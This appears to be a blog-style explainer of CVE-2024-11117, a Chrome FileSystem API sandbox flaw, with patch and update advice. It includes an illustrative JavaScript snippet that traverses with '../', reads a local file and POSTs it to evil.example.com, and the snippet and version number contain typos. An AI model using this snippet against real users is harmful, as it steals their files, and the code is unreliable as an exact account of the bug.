A newly disclosed security flaw, identified as CVE-2024-11117, affected Google Chrome before version 131..6778.69. While its official severity is considered "Low," this bug is a reminder of how even small implementation issues can expose big risks—especially if you’re a developer building for the web, or a Chrome user wanting to stay safe.

Let’s break down what the bug was, how it worked, and how attackers could use it, in plain language.

What is CVE-2024-11117?

CVE-2024-11117 refers to an inappropriate implementation in the FileSystem API in Google Chrome. Before version 131..6778.69, attackers could use a cleverly made HTML page to bypass certain restrictions meant to protect your computer’s files from the web.

Here’s the official Chromium bug entry for the issue.

What is the FileSystem API?

The FileSystem API is a web feature that allows webpages to read and write files in a virtual “sandboxed” filesystem. This is important for apps like photo editors or code editors on the web, giving them a way to let you save work or load files without giving them wide-open access to your computer.

The main protection: Web apps should only have access to their own sandboxed files — not your real desktop, documents, or anything else that could compromise your privacy and safety.

What was the Bug?

The Chrome team identified that the FileSystem implementation did NOT restrict access tightly enough. By using a specially crafted HTML page (with the right code), an attacker could slip past certain safety checks. This could let them read or write file data in ways the browser was supposed to block.

The website uses the FileSystem API with some sneaky code.

- The site is able to break out of parts of the sandbox, perhaps reading or altering files it shouldn’t be able to.

Example Code Snippet: How Exploitation Could Look

Here’s a simplified code snippet showing how a malicious page could use the FileSystem API to perform unexpected actions:

// Example: Attacker’s malicious HTML/JS page

// Request the "persistent" filesystem (which should be sandboxed)
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;
window.requestFileSystem(PERSISTENT, 1024 * 1024, function(fs) {
    // Try to access restricted files or directories
    fs.root.getDirectory('../', {}, function(dirEntry) {
        // Success here means sandbox is broken!
        dirEntry.getFile('sensitive.txt', {}, function(fileEntry) {
            fileEntry.file(function(file) {
                // Read the file contents
                var reader = new FileReader();
                reader.onloadend = function(e) {
                    // Send stolen data to attacker's server
                    fetch('https://evil.example.com/steal';, {
                        method: 'POST',
                        body: reader.result
                    });
                };
                reader.readAsText(file);
            });
        });
    });
}, function(error) {
    // Error handling
    console.log('Access failed as expected, unless bug is present:', error);
});

In *properly secured* Chrome versions, the above code would hit an error (“No access!”) when trying to climb out of the root sandbox using '../'. But CVE-2024-11117 could let attackers trick the browser into allowing it.

How Was the Bug Fixed?

Google Chrome developers patched the vulnerability so HTML pages can’t break the container boundaries. They tightened the checks inside the FileSystem API, blocking any attempts to traverse outside the permitted directory.

You can see more on the patch notes for Chromium issue 414078.

Keeping your browser updated: Always run the latest version.

- Being cautious with unknown websites: Bugs like these can be chained with others for more dangerous attacks.
- Developers: Pay careful attention to web security APIs — always use the recommended approaches, and avoid unsupported hacks for file access.

References

- Chrome Release Notes (Stable Channel Update)
- Official Chromium Issue 414078
- Chrome FileSystem API Documentation

Conclusion

*CVE-2024-11117* isn’t the most dangerous flaw Chrome’s ever seen, but it’s a textbook case of why file APIs matter. Small oversights — in this case, path restrictions — can open doors for clever attackers. The speedy patch by Google means Chrome users who update have nothing to fear.

If you’re a developer, always assume someone will find *every* mistake, and test accordingly. If you’re a user, just keep those updates coming!

Timeline

Published on: 11/12/2024 21:15:11 UTC
Last modified on: 11/13/2024 17:01:16 UTC